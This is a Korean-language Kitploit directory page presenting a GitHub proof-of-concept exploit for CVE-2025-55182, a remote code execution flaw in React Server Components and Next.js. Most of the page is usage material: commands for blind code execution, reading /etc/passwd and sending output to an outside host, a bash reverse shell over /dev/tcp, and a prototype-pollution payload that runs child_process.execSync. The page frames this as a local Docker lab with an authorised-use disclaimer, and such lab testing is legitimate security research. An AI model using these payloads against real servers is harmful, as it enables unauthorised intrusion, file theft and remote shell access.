Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182 — CVE-2025-55182 React2Shell PoC | Kitploit
도구/GitHubGitHub/lowercasenumbers/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access Tool
GitHublowercasenumbers/cve-2025-55182

CVE-2025-55182

CVE-2025-55182 React2Shell PoC

저장소 보기
9개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55182 - React2Shell PoC

React Server Components의 치명적인(CVSS 10.0) 인증 없는 원격 코드 실행 취약점인 CVE-2025-55182에 대한 개념 증명(PoC) 익스플로잇입니다.

크레딧

발견자: Lachlan Davidson - 2025년 11월 29일 Meta/React 팀에 공개됨.

취약점 개요

이 취약점은 React Flight 프로토콜의 역직렬화 로직에 존재합니다. 공격자는 HTTP POST를 통해 악성 페이로드를 전송하여 프로토타입 오염(prototype pollution)을 유발하고, 이를 통해 서버에서 임의 코드 실행을 달성할 수 있습니다.

영향을 받는 버전

도구 다운로드
패키지취약한 버전
react-server-dom-webpack19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-parcel19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-turbopack19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6

영향을 받는 프레임워크

  • Next.js
  • React Router (RSC 지원)
  • Waku
  • @parcel/rsc
  • @vitejs/plugin-rsc
  • rwsdk (Redwood)

파일 구성

root@kitploit:~
.
├── exploit.py           # exploit script
├── docker-compose.yml   # Vulnerable test environment
├── vulnerable-app/      # Vulnerable Next.js application
└── README.md

빠른 시작

1. 취약한 컨테이너 시작

root@kitploit:~
docker compose up -d

이 명령은 http://localhost:3000에서 취약한 Next.js 애플리케이션을 시작합니다.

2. 대상 취약 여부 확인

root@kitploit:~
python3 exploit.py -u http://localhost:3000 --check

이 명령은 다음 지표에 대해 비공격적(non-exploitative) 확인을 수행합니다:

  • 프레임워크 탐지 (Next.js, Waku, React Router 등)
  • Flight 프로토콜 마커
  • Server Actions
  • 버전 탐지

3. 익스플로잇 (블라인드 실행)

root@kitploit:~
python3 exploit.py -u http://localhost:3000 -c "id"

출력 없이 명령을 실행합니다. 다음으로 확인하세요:

4. 출력 외부 유출을 통한 익스플로잇

root@kitploit:~
python3 exploit.py -u http://localhost:3000 -c "id" --exfil <IP>:<PORT>

사용자의 IP 주소; 수신 대기할 포트

사용법

root@kitploit:~
usage: exploit.py [-h] -u URL [-c COMMAND] [--check] [--exfil HOST:PORT]
                  [--timeout TIMEOUT] [--no-verify]

options:
  -u, --url URL         Target URL
  -c, --command CMD     Command to execute
  --check               Check if vulnerable (non-exploitative)
  --exfil HOST:PORT     Exfiltrate output to HOST:PORT
  --timeout TIMEOUT     Request timeout (default: 10)
  --no-verify           Disable SSL verification

예시

root@kitploit:~
# Check vulnerability
python3 exploit.py -u http://localhost:3000 --check

# Blind RCE
python3 exploit.py -u http://localhost:3000 -c "touch /tmp/pwned"

# RCE with output
python3 exploit.py -u http://localhost:3000 -c "whoami" --exfil 172.17.0.1:9999

# Read files
python3 exploit.py -u http://localhost:3000 -c "cat /etc/passwd" --exfil 172.17.0.1:9999

# Reverse shell
python3 exploit.py -u http://localhost:3000 -c "bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'"

페이로드 구조

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\": \"$B0\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('id');",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

외부 유출 (Exfiltration)

이 익스플로잇은 실행 중 서버 상태를 손상시켜 인밴드(in-band) 응답을 통한 출력 유출이 불안정합니다. --exfil 플래그는 대역 외(out-of-band) 유출을 사용합니다:

root@kitploit:~
┌──────────┐  1. Malicious POST   ┌──────────┐
│ Attacker │ ──────────────────►  │  Server  │
└──────────┘                      └──────────┘
     ▲                                 │
     │  3. Command output              │ 2. RCE executes:
     │     via nc                      │    cmd | nc attacker port
     │                                 ▼
     └─────────────────────────────────┘

정리

root@kitploit:~
docker compose down

면책 조항

이 도구는 공인된 보안 테스트 및 교육 목적으로만 사용하십시오. 테스트 권한이 있는 시스템에만 사용하십시오.

참고 자료

  • React 보안 권고
  • NVD - CVE-2025-55182
  • Datadog Security Labs